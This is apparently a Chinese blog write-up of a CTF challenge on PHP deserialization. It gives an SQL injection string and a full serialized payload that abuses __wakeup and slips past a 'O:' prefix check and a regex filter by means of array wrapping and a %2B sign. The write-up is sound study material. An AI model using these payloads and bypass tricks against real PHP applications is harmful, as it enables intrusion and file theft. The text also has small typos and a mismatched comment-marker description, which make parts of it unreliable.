PHP反序列化漏洞 附题目

版权声明:欢迎提问:[email protected] https://blog.csdn.net/include_heqile/article/details/82347609

题目一共三个文件:
https://pan.baidu.com/s/1OfYZEZ7qWcv2I9OwlcU6_A

反序列化漏洞的详细说明可在这篇博客上了解到,讲解还是比较详细的:
https://blog.csdn.net/qq_19876131/article/details/52890854

本题目主要就是利用HITCONSoFun两个类中的__wakeup函数,我们可以控制HITCON对象的$method$args变量,来进行SQL注入,注入语句如下:

1' and 1=2 unionc select 1,2 ','a:1:{i:0;O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'-- 

注意后面的SQL注释符号是两个下划线和一个空格
因为我们要绕过substr($data, 0, 2) !== 'O:',所以就不能单纯地序列化一个对象,而是把对象包裹在数组中来绕过这个过滤条件,构造的时候是这样的:

$a = array(new SoFun())

这样序列化之后最前面的字符串就变成了a:,然后再考虑如何绕过正则表达式,因为题目中只是过滤了O:\d:模式串,我们只要破坏\d就行了,PHP的反序列化函数unserialize的参数中的数字是可以有+号的,所以我们在构造完payload之后,在SoFun的序列化字符串中把5前面加上经过url编码之后的+也就是%2B即可,不要忘了把HITCON对象序列化字符串中表示参数长度的s的值加1,然后我们就能顺利得到flag了。

payload如下:

O:6:"HITCON":4:{s:6:"method";s:5:"login";s:4:"args";a:2:{i:0;s:86:"1' and 1=2 union select 1,2,'a:1:{i:0;O:%2B5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'-- ";i:1;s:1:" ";}s:4:"conn";i:0;}

猜你喜欢

转载自blog.csdn.net/include_heqile/article/details/82347609